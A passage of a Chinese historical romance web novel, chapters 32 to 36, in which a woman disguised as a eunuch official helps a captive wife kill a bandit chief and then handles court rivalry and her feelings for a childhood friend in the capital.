在白惜时劝解滕烈之际,吵吵闹闹间,飞鹰竟真就答应下来了二娘的提议,大手一挥,很是慷慨,将白惜时与滕烈交给二娘处置。 二娘自然喜不自胜,望着堂下两人犹如收到了什么大礼,但白惜时此刻却真真正正蹙起了眉,不为其他,只因若是真同意了,她必定会被拆穿身份。 她并不是真正的男子,如何行事? 何况,若是去了二当家的处,她便没有机会去接近那位压寨夫人了。 略一权衡,白惜时当下没有再犹豫,于众目睽睽之下突然上前了一步,“几位当家的,在下,可能有些困难。” 那二娘立马变了脸色,“怎么,伺候姑奶奶你不愿意?” 白惜时:“不是不愿,是实在无能无力。” 二娘狐疑皱了皱眉,“你有什么毛病?” 白惜时本想说自己患有隐疾,但又担心那二娘子不信邪非要试上一试,最后思来想去之后,选了个折中的答案。 “因为在下……所爱并非女子。” 不喜欢女子,那就是,那就是…… 片刻的寂静之后,横肉男子瞬间叫骂了一声,“他妈的,怪不得娘们唧唧的,原来是个兔儿爷!” 厅堂在这一声之后,瞬间又热闹了起来,连那二娘看待白惜时的眼光都从喜好变成了嫌恶,只是白惜时没想到,比那些山匪还要更震惊的,竟然是滕烈。 只见男子凤眸凝滞,带着难以置信,似乎是没想到这世上竟还有男子喜欢男子之事。 坦然对上他的目光,白惜时实在想不通他有什么好震惊的,这明显就是托词,难道他不知道自己是个太监,去了会暴露身份? 还是他觉得自己不够意思,使计逃脱了二当家的,却丢下他一人? 白惜时正在分辨滕烈震惊于何处,这个时候,先前一直没有说话的飞鹰突然开了口,“家住何方?” 这显然是眼见二当家的不要,要叫家中人花大价钱来赎回她了。 白惜时,也终于等来了这一句问话。 白惜时:“祖籍两广。” 飞鹰望了过来,“家中都做什么营生?” “在下练剑游走江湖,家中之人主营饭庄。” “饭庄?”缓缓坐直了身体,飞鹰:“那你可会做两广菜式?” 白惜时闻言点头,“祖传的生意,从小学过一些。除此之外因爱好美食,川、湘、徽菜都有所涉猎。” 闻言继续打量着白惜世,飞鹰的思考只在一瞬,继而很快吩咐了下去,“带他去后头的厨房,做两个菜给夫人送去。” 当白惜时被带出大堂,押送往灶房的那一刻,她知道,第二步应该也算是顺利完成了。 只因她在上山之前便已经打探到,那位夫人,便是两广人士,不过与夫君一起外出做生意,才会途经此处被掳获进山。 而在这冀中,亦很难吃到她正宗的家乡菜肴。 飞鹰既然想要讨得夫人欢心,自然会做出如此决断。 第33章 第33章 在菜肴送过去的半个时辰后,白惜时得到通传,说是夫人想要见他一面。 其实白惜时做的菜色并不怎么地道,只能算是看起来相仿,但她在送出去的时候,仍旧大言不惭,托那送菜的婆子,“若是夫人觉得做的正宗,还请替我美言几句,能得青眼获得召见那自是再好不过。” 可能是因为白惜时模样生的好,又刻意嘴甜,那婆子去了之后还真就为他吹嘘了几句,也正是这一吹嘘,白惜时获得了面见夫人的机会。 因为她做的实在不太地道,却又吹嘘的如此笃定,夫人也察觉到了其中怪异。 白惜时送出去的时候便做好了两手准备,一来夫人直接对她不满,向大当家的告状,她便推脱离家太久手艺生疏,料想亦不会召来太大的祸患。二来便是夫人聪慧,隐隐发现了她的意图。 眼下看来运气不错,夫人是后者。 但夫人面见外男,不可能没有人在旁,因而白惜时亦无法与她多说其他,不过倒不是全无收获,通过这一次见面,她确定了夫人的态度。 夫人不喜被困在这山寨里。 只因她神情麻木,无喜无怒,整个人就像一个提线木偶,连一点生的气息都没有了。 见到白惜时,与他说了几句后发现并无特殊,那唯一亮起的星点眸光也灭了下来。 所以,当后半夜白惜时潜入夫人的屋中,隔着床幔问了她一个问题,“你想离开吗?” 那夫人停了半晌都没有说话,继而“哗”的一把拉开帘幔,却是已经泪流满面,原本毫无神采的双眼终于也有了期盼,她定定地看向白惜时,“我想!” “我做梦都想杀了他!” 夫人告诉白惜时,飞鹰当着她的面残害了她的夫君,并想以此绝了她的念想,却不知,从此之后她日日被梦魇缠绕,更是对飞鹰恨之入骨。 每一次的强迫都像凌迟,若不是尚有那一口报仇的气在,她早就对这个世界再无牵念了。 白惜时听完,静立良久,不知如何宽慰。 当年魏廷川被充军,她尚且痛苦煎熬,眼前女子遇到的比她要难耐百倍,夫君惨死面前,她却要时常被强迫着与仇人同床共枕。 何其残忍。 听她字字泣血,白惜时在离开之前,嘱咐了她一句话,“若是想要报仇,在飞鹰来的时候,想办法召见我。” 夫人闻言,郑重点了点头。 回去之后没有等多久,第二日上午,便又有人找到白惜时,请她为夫人做菜。 白惜时知道,时机到了。 做菜的间隙,她托那好说话的婆子又给滕烈带了句话,这话很简单,问他的是,“今日午时可回柴房?” 二人约定好,如若分开,但凡带了时间之词,便是行动的具体时机。 又等了片刻,在那菜肴送过去的半个时辰后,飞鹰身边的山匪果然前来召唤,说是夫人感念他家乡菜做的好,叫他过去问话。 只是没想到这群山匪的防范意识很强,在白惜时踏入主屋之前,连她头上的那根稍显尖锐的发簪都被要求取下,继而扔了一根破布条供她束发。 啧,白惜时有些遗憾地想,称手的刺杀之器没了。 在那山匪的带领下,白惜时于飞鹰与夫人面前站定,目光轻扫,瞥见了飞鹰面前那一口脸大的海碗。 里头的饺子已经吃的差不多了。 夫人中规中矩问了白惜时几个菜肴方面的问题,又当着飞鹰的面夸了他的手艺,只她可能实在不是个话多之人,几句之后,便有要无话可说的迹象。 若是再强行找些话题,也会引起飞鹰生疑。 白惜时暗暗找寻着下手的机会。 正在这个档口,有那后厨的婆子给飞鹰盛来了一大碗饺子汤,可能是因为太烫,手边一滑,差点将碗摔在地上。 白惜时眼疾手快从下面托住,那婆子虚惊一场,呼出口气刚要道谢,却不想白惜时已经将那汤盆抢去,在所有人都还没有反应过来之时朝飞鹰的方向迅速泼了过去。 一盆滚开的热汤迎面浇下,飞鹰被烫的浑身巨颤,狂吼一声,白惜时趁此间隙摔碎最近的一只瓷碗,握紧碎瓷片便向那小山似的男子纵身扑了过去。 然而飞鹰亦身手了得,在最初的疼痛之后立即回神,堪堪向左闪避,躲过了白惜时的致命一击,白惜时心下一凉,敌众我寡的情况下,对付高手一击不中,便很难再次得手了。 电光火石之间,飞鹰的手下也都反应了过来,此刻全都成包围之势朝白惜时杀了过来,见此情状白惜时不得不退至夫人身后,随即紧揽住她的肩膀,将那片锋利的瓷片抵在了女子的咽喉。 装作要以女子性命相要挟为筹码,白惜时高声道:“放我下山,否则杀了她!” 飞鹰一见女子被人劫,暴跳如雷却又不敢轻举妄动,忍耐了好半天才制止手下上前,“好,好!你不就是要下山吗,老子放你下山!但你敢伤她一根汗毛,老子绝对要你狗命!” 白惜时:“成交。” 带着女子且退且观察,双方正僵持之际,这个时候突然闯进一个山匪,嗓音里带着焦急和颤抖,“大当家的,大当家的不好了!二当家的她,她晕死过去了,山下也有好多官兵攻了上来。” 而就在那山匪禀报之际,白惜时突然感觉到一个冰凉的物体贴上了自己的腰腹,她对这种东西的感觉很敏感,也很熟悉,即使不低头,她也知道那是一把匕首,一把身前女子悄悄递过来给她的匕首。 白惜时垂目淡淡瞥了一眼,随即微扬起嘴角,目光一瞬不瞬,紧盯着对面的飞鹰。 夫人聪颖,又给了她第二次机会。 那么,她自然也不可辜负夫人的厚望。 飞鹰听完,此刻终于意识到不对,骤然转过头来,咬牙切齿到恨不得将白惜时一剑捅穿,“你们到底……” 然后“是什么人”四个字尚未来得及说,一把锋利的飞刀已然破空而来,猝不及防间,如疾风般刺进他的左胸胸膛。 不可置信的低下头,飞鹰怔怔望着不断往下冒血的地方,之后又惊愕抬头,看向白惜时身前的女子,“妙,妙娴你……” 一句话还没有说完,飞鹰壮硕的身躯晃了晃,继而轰然倒地,山匪一见大当家的丧命,顿时群龙无首,混乱成一团。 妙娴盯着躺在地上的男子,看他死不瞑目般大睁着双眼,仍望向自己,女子对着那尸体从低声喃喃再到大声发泄,不断重复着,“去死吧……去死吧……去死吧!!” 与此同时,滕烈疾行赶到,一见飞鹰已经全无气息地躺在地上,而一位妇人正对着他失声咒骂、涕泪不止,顿了少倾,抬眸怔然望向白惜时。 白惜时冲他微微摇了下头,任由女子发泄,待她兀自平静下来,才走上去扶住了她的肩,继而吩咐已经赶到的东厂手下,“替咱家把飞鹰的头颅割下来。” …… 解衍带领着增援的官兵赶到,正与一群山匪于半山腰激战,不知里头的情况如何,他一边迎击一边向山寨内快步行去,然而向前行进了百余米之后,此时不远处的山崖一个高束马尾之人正一步一步走了上去,居高临下,宛如俯瞰众生。 随即一抬手,那人向下抛出一颗头颅。 山风将他的衣摆吹得猎猎作响,发丝激荡,只见那人垂眼望向脚下人群,从容镇定、肃容寒声,“飞鹰既死,逆首已除,尔等莫再负隅顽抗,归降者,留!顽抗者,杀无赦!” 第34章 第34章 回京之后,白惜时因平匪有功,皇帝赐下不少赏赐,还特许了她两日休沐。 出宫的时候,几个小太监正捧着红漆木盘正跟在白惜时后头说着吉利话,长长的甬道旁另一队太监迎向而来,几人抬头一见为首之人,立刻停住话头,低下头去呐呐请安,“秉笔。” 梁年身着御赐斗牛服,见到白惜时,慢慢悠悠顿下脚步,吊起眉梢瞧了眼后头的漆盘,皮笑肉不笑道:“厂督近来真是风头无量,出生入死,着急立功。有句话怎么说来着?哦,司马昭之心,路人皆知。” 自御马监王焕全倒台之后,西厂袁庆势单,原有的平衡被打破,梁年与白惜时的争端也几乎摆到了明面上。 宫人皆猜测,下一任掌印,必定会于梁年与白惜时中二择其一。 自然听懂了他在讽刺自己着急上位,白惜时无动于衷:“秉笔是什么人,看旁人自然便像什么人。” 闻言阴笑一声,梁年:“那就祝厂督一直都能如今日这般风光,次次死里逃生,千万别为了立功一不小心死在外头。” 白惜时亦跟着笑了起来,“秉笔放心,我这人,命硬的很。” 梁年听完拂袖而去,领着身后一众小太监,趾高气昂往南面的方向而去。 白惜时驻足看了一会,扭头去问身后之人,“他去往何处?” “禀厂督,瞧着是往贵妃娘娘的去处。” 俞贵妃。 近来,确实听说梁年很得俞贵妃的欢心。 就在离宫之前,掌印张茂林还特意将白惜时叫至一边,告诫过他。 原话是,“你在外头九死一生,虽立了功,爷爷也替你高兴,可在咱家看来却是本末倒置。咱们做内宦的不是文臣武将,最重要的是伺候的皇帝娘娘开心。贵妃娘娘盛宠不衰,小石头,你不能总仗着小时候的情分就疏于走动。要知道,人都是会变得。你千辛万苦,也许都敌不过贵妃娘娘在皇帝枕头边替梁年说的几句好话。” 其实这些道理,白惜时又何尝不明白? 梁年此人虽捧高踩低,但司礼监事务方面也算矜矜业业,挑不出什么错处。 若是站在皇帝的角度,梁年与自己,一文一武,甚至梁年于掌印之位可能还更为合适。 这个时候,贵妃娘娘愿意帮谁说话,确实显得至关重要。 可每每去到娘娘处,她都会与自己提及俞昂,白惜时实在不想与俞昂此人牵扯太深。 不仅因而俞昂诨名在外,更因自那次救出端静长公主后,俞昂偶有两次看自己的眼神让白惜时觉得极为不适。 那是一种没来得及隐藏好的冒犯。 俞昂,是出了名的男女不忌。 — 一直忙碌惯了,此番突然无事休息在家,白惜时倒有些无所适从,孟姑姑见她即便立功得了赏仍旧没个笑模样,隐约猜出了白惜时近来有心事。 “厂督,下午我和柔云说好了一起陪娴娘子去逛庙会散心,正好再做几身入春的新衣,厂督若是没事,不如与我们一起?” 吕妙娴被从匪窝救出后,因需配合东厂查案,被白惜时带回了京城,不过白惜时没有让她住在东厂,而是暂居于自己的府邸。 “逛庙会?”白惜时停下褪去官服的动作,看了眼孟姑姑。 “是,厂督想去吗?难得有机会,一起去看看吧。” 白惜时上任东厂后,虽在外立了府,却时常陷于事务,的确很少有机会能在外头悠闲地走一走逛一逛。 若是问她想吗?白惜时觉得应该也是想的,散散心也好。 既然想她便没再犹豫,点了点头,“好,那便一起。” 逛街市看热闹这种事,白惜时觉得自己本质是个女子,应该能和孟姑姑她们逛到一起,然而等真正去了后,她才发现可能高估了自己。 白惜时的习性,向来是看准了买好就走,但另外几个人明显更倾向于货比三家,还尤为热衷砍价,并以此为乐。 在不知第多少次于几人身后枯等了大半刻后,眼见三个女子还在围着两双绣鞋来回比较不知选哪个好,白惜时果断从“战局”中退了出来,掏出块银子拍在店家手中,“两双都要了。” 然而她的慷慨似乎并没有获得女子们的认同,反倒像是扰了她们的乐子,只见孟姑姑满脸严肃从店家手中将银子抢了回来,然后重新塞回白惜时的手中。 “厂督不要这般浪费,再等一等,我们很快就好了。” “……” 白惜时决定到店外头去透透气,逛了这么半天她出了一身汗,这个时候站于屋檐下被初春的清风一吹,方才那股燥热倒是去了大半,继而一低头,又发现有人从身旁递过来了一杯竹叶汁。 白惜时看向解衍,“你哪来的?” “前头的店中买的,没让他们放糖。” 白惜时接过来尝了一口,味道还挺清爽,这么久她也真是口渴了,因而“咕咚咕咚”就将那被清汁喝完,待到喝完,才发现解衍正笑看着自己。 白惜时不知他笑自何处,又看了眼他的双手,“你就买了一份?你不渴?” 男子摇了摇头。 回头往店内望了一眼,白惜时道:“里头那几人磨嘴皮子磨了这么久,估计一会也得口渴了。” 解衍闻言,无奈扬了扬手中提满的大包小包,“她们要喝让她们自己去买。” 言下之意,他没手了。 看到解衍如此境况,白惜时不由又生出几分“同病相怜”,继而庆幸:“还好这次你也一起来了,不然这拎东西的活估计就全落我身上了。” “她们不敢。” 说着,男子又联想到方才白惜时付钱失败的一幕。 那一副欲言又止、要劝不劝的模样,实在与立于高崖之上往下扔人头的洒脱感形成鲜明的反差,解衍不知为何,突然又想弯起唇角。 “属下还是第一次见厂督也有束手无策的时候。” 知他指的是什么,白惜时望向这熙熙攘攘的人群,亦跟着笑了起来,“难得她们开心,总不好扫兴。” 也难得,让她体会了些久违的人间烟火气息。 二人立于檐下闲聊说着话,里头的几个女子此刻也终于选好绣鞋从店内走了出来,解衍这时候突然靠近了些白惜时,低声向她示意了眼前方。 “厂督,一会可去那家成衣店。” 白惜时错愕侧目,“你还敢撺掇着她们逛?你不怕累不怕再多拎好几盒?” 解衍不动声色,“那家店内有椅凳,我方才提前进去看过。” “方便厂督坐下休息。” 白惜时被“椅凳”二字打动,看向解衍的眼神亦由质疑变为欣赏,听完一点头:“行,就去那家成衣店。” 入店之后,内里陈设果然如解衍所说,桌椅齐全,掌柜的看几人衣着气质不俗,更殷勤备至给他们各泡了一杯清茶,供两位男子休憩品茗。 孟姑姑自带着解柔云与吕妙娴去挑选,白惜时则端着茶盏撇开浮沫,一边浅啜着清茶,一边从一排男子的成衣上掠过。 说来已经入春一段时间,天气渐暖,倒是可以给解衍也换两身衣衫,白惜时也不希望他再穿着那样与魏廷川相似的衣衫。 想到这手指在几件浅色的成衣上点过,白惜时唤来一旁服侍的小厮,将解衍也成功劝进了里头的换衣阁内。 解衍清隽如玉,又是文官出生,其实还是更适合花青、月白这样的颜色。 白惜时兀自想着,正等待着解衍出来想要看看他换上的效果如何,却不想解衍还没有等到,此刻又有人跨进了店内。 这时候只听一个女子高兴道:“兄长,将军,就是这家。” “店家,我上次送来的几件衣裙改好了吗?” 店家闻声热情迎了出来,“刘二小姐,您怎么还亲自来了?好了好了,我这就给您去拿。” 白惜时送至唇边的茶盏停了下来,片刻之后,才又浅浅地饮了一口。 怎么就这么凑巧呢? 很快,跨进店内的男子看见了案边之人,目光一动,走过来又确认了正脸,立刻展容笑道:“惜时,真的是你!你怎么会在此处?去你府上几趟都没找着人,回京了怎么也不同我说一声?” 白惜时搁下茶盏,站起身,同样回之面前的男子以微笑,“前日刚回来,有些疲乏,便还没来得及去见世子。” 闻言眉头很快皱起,魏廷川关切地打量了遍白惜时,“怎么样,这次去冀中可有遇到危险,有没有受伤?” “没有。” 正说话间,店家已将刘晚禾的衣裙取了过来,女子一件件检查完毕,突然看了眼身旁的刘启舟,撒娇耍赖道:“兄长,我今日荷包忘带了,你替我付钱吧。” 刘启舟:“嘿,我就说你今日怎会突然热情叫上我,原来竟是想敲兄长的竹杠?” 女子继续扯着哥哥的衣袖,“真的不是故意的,真的就是忘带了。” 刘启舟信不过,忍不住去叫魏廷川,“廷川你看看她,你看看她的真面目。” “还有厂督在呢,一起叫人看笑话。” 这段时日刘晚禾似乎已经与魏廷川熟稔许多,此刻兄长如此也不见她害羞,而是瞧见男子望过来,忍不住冲他做了个鬼脸。 下一刻,瞧见白惜时也同样看向自己,女子才缩了缩肩头,抿住嘴唇不再说话。 很可爱很开朗的一个女子,明媚娇俏,也值得被爱,这是白惜时的第一感受。 难怪,魏廷川会喜欢。 白惜时想,如若自己是男子,应该也会被这样的女子吸引吧。 没什么奇怪的。 魏廷川见状,果然无奈一笑,继而招来店家递过银子,“我来付吧。” 刘晚禾似乎是这时才觉出害羞,上前一步想要阻拦,“这怎么可以……” 魏廷川却打断她,安抚般地冲女子一摇头,“没什么不可以的。” 与此同时,解衍换好了一身天青色的锦缎长袍从内室走出,见到案桌边倏然多出的几人,停下脚步,在目光触及到魏廷川的一刹那,微扬的唇角缓缓拉直,继而挥退一旁的小厮,立于原地,没有再往前行去。 解衍的身后还跟着同样换好衣衫的解若云与吕妙娴,三位女子互相欣赏了一阵,此时见男子止步不前,解柔云忍不住问道:“哥哥,怎么了?” 解衍:“没事。” 以为他说没事便真的没事,解柔云又低头看了一眼新换上的衣裙,“哥哥,那你看我这一身好看吗?” 闻言,解衍望了过来,继而眸光微动,像是想到什么。 要将厂督从眼下的情绪中拉出来。 “我对女子的衣饰不大了解,不过厂督的眼光极佳,你们可以去问问她。” “问他?”解柔云有些犹豫,“合适吗?” 抬眼,望向此刻正被刘家兄妹与魏廷川围在当中之人,解衍下意识用手指点着腰间那枚香囊,“合适,再合适不过了。” 去,可替厂督解围。 解柔云对于兄长的话向来深信不疑,何况近来她对厂督已经没有那么般惧怕,特别是在知道他救出吕妙娴的故事后,更是对白惜时蒙上了一层光环。 因而,解柔云听罢,便也就真拉着吕妙娴与孟姑姑走了过去,继而婷婷袅袅站于白惜时面前,微提着裙摆展示道:“厂督,你看和娴娘子的这一身新衣裙好看吗?” 第35章 第35章 解柔云一句话,不仅顺利叫白惜时看向她,连带着魏廷川、刘家兄妹也都看向她。 有些惊讶于这姑娘竟会跑来询问自己意见,不过解柔云此刻的出现,倒确实能叫白惜时找到点旁的事来做。 接受魏廷川订亲是一回事,但看着他与未婚妻在自己面前相处又是另外一回事。 白惜时不得不承认,即便劝了自己无数遍,此时此刻在心中的某个地方,还是会传来滞闷之感。 那是她默默喜欢了十几年的人。 目光落在解柔云与吕妙娴那两身新衣上,白惜时认真打量了片刻,回答道:“好看。” 解柔云:“真的?” 白惜时颔首,视线又在店内转了一圈,继而停留在另外一件衣裙上,“不过那件烟粉的,应该更适合你。” 解柔云跟着白惜时望过去,眼中顿时有些放光,“厂督,那我再去试试?” “好。” 掌柜的此时已经很有眼力见的叫人将那件衣裙取了下来,解柔云抱在手中看了看,继而又欢欢喜喜的下去换衣。 她不是没注意到厂督之外,此刻还有另外三人在场,来厂督府上的这半年,只要她出门,就免不了被人指指点点,起先她还会难受,如今已经可以坦然接受。 哥哥也曾告诉她,不要在意旁人所看所想,亦无需被流言所困,此心安处,即是吾乡。 她觉得哥哥说的对,她在厂督府上很好,甚至比原先在解府还要自在些,太在意别人的目光只会使自己不快乐,她不做这种傻事。 解柔云拉着娴娘子又回到了后室换衣,魏廷川此刻眉峰微凝,亦从那二人身上收回视线。 不知道为什么,刚才那一幕,他莫名觉得心里不大舒服。 刘启舟这个时候挑眉一笑,又看了眼白惜时:“厂督,看来外头的传言非虚啊。” 白惜时尚未回应,魏廷川已经替他问道:“什么传言?” 刘启舟:“传言厂督是位怜香惜玉之人。” 近来京中都在传,除了解家那位姑娘之外,白惜时又从冀中带回了位已婚丧夫的少妇回府,而且看这两个女子对白惜时的态度,算得上信赖,也并没有显露出排斥和不情愿。 众所周知,一般太监因比正常男子少了样物件,难免自卑,而很多大太监都会将这种自卑无力发泄在女子头上。 但眼下看来,厂督应该没有这样的癖好,甚至对美人颇为优待,才养成了解柔云这般烂漫开朗的模样。 白惜时听完没有接话,她的私生活,自然轮不到他人置喙。 但这种反应在魏廷川看来,近乎于默认。 男子的脸色顷刻严肃起来,“惜时,你跟我出来一下。” 说罢,他率先迈步往店外走去,似乎根本不担心白惜时不会跟上来。 扫了眼此刻有些错愕的刘家兄妹,白惜时略一颔首,走了出去。 二人找了处没什么人经过的巷弄,魏廷川转身,望着白惜时,“刘启舟说的可都是真事?” 白惜时默而不语,不知为何,她莫名不太喜欢魏廷川此刻质问自己的态度。 魏廷川:“说话,你可知这会样对你的名声有损?” 白惜时觉得在魏廷川面前,自己似乎又变回了那个仰望着他的小太监,不由问道:“我能有什么名声?” 她是个内宦,朝廷鹰犬,东厂厂督,还能指望那些文武百官对他交口称赞吗? 魏廷川此刻的口气像极了一位兄长,“惜时,如果不是,你就应该把那两个女子送走,妥善安置,不要凭白往自己身上揽那些不必要的麻烦。” 魏廷川说的对吗?应该是对的,但白惜时还是反驳道:“我不觉得麻烦。” 因为,她偶尔也会觉得孤单。 看着府里有些人气,热闹热闹也会开心。 何况那也是两个无家可归之人。 “惜时,你如今怎么这般执拗?”闻言眉头皱的更深,魏廷川发觉自此次回京后,白惜时同他再没有以往那般亲近,似乎也不是很能听进去他说的话。 之前他从不会这样。 思及此顿了顿,男子突然眼神一暗,问道:“还是说,你真的对那两个女子有意?” 白惜时看着他,“有意如何,没意又如何呢?” 直到此刻,白惜时才发现,她心中还是有执念的,因为执念所以沉默,所以此时此刻也才故意反问,不会好好说话。 既然已经决定要放手,她其实希望魏廷川不要再来关心和管束她,这种关心就像一种慢性毒药,将她拖回求而不得的泥沼,让她好不容易刚刚长好的伤口,再次撕裂溃烂,血流不止。 魏廷川听完,果然表情更为严肃,刻意忽略心中那股猝不及防的烦躁,“惜时,你至少应当一心一意。” “你又怎么知道我没有一心一意?” 她对一个人一心一意了十几年,而这个人,就站在自己面前。 想到这里,白惜时莫名有些控制不住自己的情绪,突然问道:“还是你觉得,只有你能娶妻生子,幸福完满?而我是个太监,就连身边出现个女子都不应当,都是罪过?我就注定要孤独终老?” 没想到白惜时会突然这般诘问自己,也是白惜时第一次用这种态度对待自己,魏廷川忪然片刻,反应过来后,很快放缓了语气。 “惜时,我不是这个意思。” “我真的不是那个意思,你不会孤独终老,你我是兄弟,我会陪着你,刚才可能是我说话的方式不对,让你误会了,你不要生气。” 陪着她,怎么陪呢? 白惜时在心中笑了一声,但此时此刻,魏廷川的声音一旦缓和下来,白惜时又觉得刚才的自己太过小题大做,敏感尖锐。 他又能怪魏廷川什么呢?他什么都不知道,他就是只将自己当作好兄弟,他又有什么错? 兀自闭了闭眼,白惜时待平复了片刻后,才重新看向魏廷川,“对不住,可能是最近遇到的事太多,有些急躁,我亦没有怪世子的意思。” 魏廷川却突然紧张起来,“你遇到什么事了,要不要紧?” “没什么大事。” 白惜时敷衍过去,想了想,还是解释道:“柔云以后还要嫁人,妙娴也是暂居我府上,我没有对她二人另作他想。不过我也是个成年男子了,很多事情自己会判断,世子便让我自己做决定吧。” 原来无意。 听他这么说,魏廷川的蹙起的眉峰终于平缓下来,从方才一直持续到现在那股烦躁也莫名消停下来。 魏廷川语气更加温和,“好,我不干涉你,你想做什么就去做,遇到问题也别都自己闷在心里,告诉我,我们一起想法子解决。” 闻言看了男子一眼,白惜时:“真没什么事,有事我必定第一时间找世子帮忙,让你给我托底。” 魏廷川这回才真正笑了起来,走过去,一把揽住白惜时的肩膀,“这还差不多。” 感受到肩膀上传来的那阵紧意,魏廷川原来不是没有对她做过这样的举动,那时候觉得亲密高兴,但此一时彼一时,现在,却显得不那么合适了。 即便是好兄弟,在男子之间做来无所谓,但在他与她之间,是不合适的了。 不动声色退了一步,白惜时这时候也恢复如初,笑看了一眼店内,“快回去吧,刘姑娘等你该等急了。” 看着突然悬空的手,魏廷川视线停了片刻,继而收回手臂,才像什么都没发生一般,点头道“好。” 男子转身朝店内走去,走了两步,又回过头来,“惜时,明日晚上我约了三五好友一起聚聚,你也一起来。” 白惜时推辞:“我就不去了,我又不喝酒,去了也是扫兴。” 魏廷川:“你不想去?那我推掉,明日去你府上找你。” 听他这么一说,白惜时在心中默默叹了口气,终是妥协道:“算了,你别推了,我还是去吧。” “那好。”男子又扬起那熟悉的笑,仿佛如热烈的阳光,能够融化坚冰。 白惜时也曾被这样的阳光融化过,只不过现在这一束光,不再应该属于她了。 她也应该整理好自己的心情和位置。 男子离开的时候,刘家兄妹已经找到巷子口来等他,三人一起离开的背影,白惜时立于原地一直看着,直到他们变成几个圆点,消失在熙熙攘攘的人群里。 收回目光的时候,这时候发现解衍也寻了过来,手上还拎着那些大包小包。 白惜时:“柔云她们挑好衣裙了?” 解衍点头,“挑好了,我告诉她们厂督有事,让她们先去其他地方逛了。” 白惜时“哦”了一声,“他们都去了,你还在这里做什么?” 解衍望着巷内之人,“等你。” 白惜时一挥手,“我不需要人等,你也跟他们一起去吧。” 可解衍却罕见的没有听从,而是道:“每一个人都需要人等,没有人喜欢孤单。” 白惜时重新抬眼,对上男子的视线,“呵,那你可猜错了,我这个人就是这么特立独行,就是喜欢孤单。” “嗯,厂督喜欢孤单。” “那还不快走?” 解衍扬了扬手中的包裹,“不过属下不喜欢,也不想再跟过去拎包,不知可否借口等厂督,躲一会懒?” 白惜时:“不行!” 然而解衍听完却仍旧未动,反而眼眸中扬起了淡淡星光,一瞬不瞬地望着巷内那个茕茕孑立的身影。 被他那样的星辉凝望久了,虽然没有阳光那般炽烈,却也如山涧清泉,一点一点,冲散了白惜时心中那股滞涩。 过了许久,白惜时终是吐出了一声,“……随你。” 解衍走了过来,转过身,站在了白惜时身侧。 然后男子就陪着白惜时,一直并肩站在这巷口,二人什么话都没再说,就这么一起看车水马龙,看人潮涌动,看热闹喧哗,看灯火阑珊…… 直到白惜时最后从胸口吐出一口浊气,又恢复了往日的生气,侧眸看向男子,“去找柔云她们?” “好。”男子跟着笑了起来。 第36章 第36章 初春的清晨还带着一丝寒意,天刚破晓,白府门房伸了个懒腰,刚洗干净手脸,这时候就见不远处传来“嗒嗒”的马蹄之声,紧接着便见一高挺男子策马从街市的方向行来,手中似乎还提了个油纸包,到了府宅门口,单手勒缰,男子长腿一跨从马上跳了下来。 来人门房已然认得,正是前几次来过都扑了空的镇北将军魏廷川,门房见状热情地迎到阶下,接住男子抛过来的缰绳。 魏廷川潇洒一笑,“惜时可在府内?” “在的在的,厂督今日休沐,正在家中。” 门房忙不迭召人将那匹赤棕色的骏马带下去,继而领着魏廷川往府内行去,待行至厅堂,彭管事已经着人备上一盏清茶,客气道:“怠慢将军,刚着人去通传,不过厂督现在还未起身,还请将军稍待片刻。” 魏廷川:“惜时还在睡觉?” “是。” 听完看了眼手中的油纸包,魏廷川直接站起来,“他屋子在哪?我去看看。” “这……” 彭管事不知如何处置,厂督向来不喜人去他的卧房,除了孟姑姑外,未经允许,一律不许入内。 但魏廷川又身份特殊,听闻是厂督为数不多的朋友之一,不过魏将军亦没有再给彭管事纠结犹豫的时间,只因男子已然越过他,朝后头最大的一间院子行去。 正是白惜时的住所。 跨过月洞门,魏廷川见院内那一排柿子树,便知是找对了地方,尤记得年少时,白惜时穿着一身洗得发白的小太监服,宽大的袖口被卷了两道才能露出一双白净的小手,每次看见柿子树,必要双手合十神神叨叨,念着诸如“柿柿如意”这样的祈愿之语。 想到这,不由眼角眉梢都挂着笑意,魏廷川走上台阶正欲叩门,这时候一只手臂突然横了过来。 解衍一身崭新的松玉绣鹤长袍,挺拔如修竹,此刻正一脸肃容望向魏廷川,“将军,厂督尚未起身。” “我知。” 魏廷川蹙眉,抬手还欲再次叩,这一次,解衍直接扣住了他的手腕。 魏廷川转过身,略冷下眉目看向面前之人,二人尚未言语,这时候门突然被人从里头拉开,白惜时身着一件家居常服,一边用绸带随意将长发束起,一边走了出来。 “世子,何事这么早?” 她的语气还带有些刚睡醒的困倦,在得知魏廷川来后,白惜时第一时间从床上起身,让孟姑姑帮她绑上束衣再穿好金丝甲,等这些做好后又简单的洗漱一番,还没来得及束发,魏廷川便已经到了。 多亏方才解衍在外头拦了一手,不然她连穿上外衫的时间恐怕都没有。 好不容易在家休沐一日,白惜时还想着能够解开束缚,在屋子里多躺躺,没想到世子精力旺盛,一大早便上她府上做客来了。 白惜时此刻卸下平时的规整,一瀑青丝用一根碧色绸带随意绑在脑后,亦没来得及描眉,整个人又有些惫懒,倚在门框上,便显得……很温顺,也柔和了很多。 还有就是……很漂亮,魏廷川其实很早便知道惜时长得好看,在小太监中是出了名的清秀出众,不过都抵不过这一刻带给他的冲击。 魏廷川上一次见白惜时,还是在六年前,那个时候他还只不过是个半大孩子。 眼下,却是真真正正的长大了。 当魏廷川意识到自己在想什么的时候,惊诧于自己竟会觉得一个男子漂亮,略一撇头,挥去那奇奇怪怪的想法,扬了下手中提着的油纸袋。 “给你买的吴记煎包,这个去迟就卖光了,快出来乘热吃。” 一大早过来,就为了给她带包子? 白惜时用昨日用一夜刚整理好的情绪,这时候被包子一影响,一时不知如何形容,遂没说什么,一点头,以尚未束发为由,让魏廷川他们先去厅堂。 等白惜时再次出现的时候,发丝已经一丝不苟的束了上去,衣着板正,又是往日那副阴柔张扬的厂督模样。 坐下来后,看见解衍也在一旁,白惜时问他,“吃了没有?” 解衍:“没。” “一起吃,过来坐。” 白惜时叫上解衍,一来为了避嫌,她与魏廷川这般二人单独相处已经不再合适,即便魏廷川不知道自己的女子身份,她也不能揣着明白装糊涂。二来白惜时不得不承认,她感念解衍昨日的相陪,自己对解衍的信任,似乎也在逐渐加深。 近来为了助解衍重回朝堂,她递上去了不少治事理政方面的折子,旁人都以为她是对掌印之位势在必得,迫切想让皇帝知道她能够胜任司礼监,但其实不然,她是在为解衍铺路。 皇帝对白惜时太了解了,虽然她书读得也算尚可,但与那些一甲进士相比起来,引经据典、遣词用句还是会有差别。 所以递上去几次后,皇帝特意将她留下来,举着最新的折子问她,“这是你写的?” 白惜时立于龙椅之前,垂首不语。 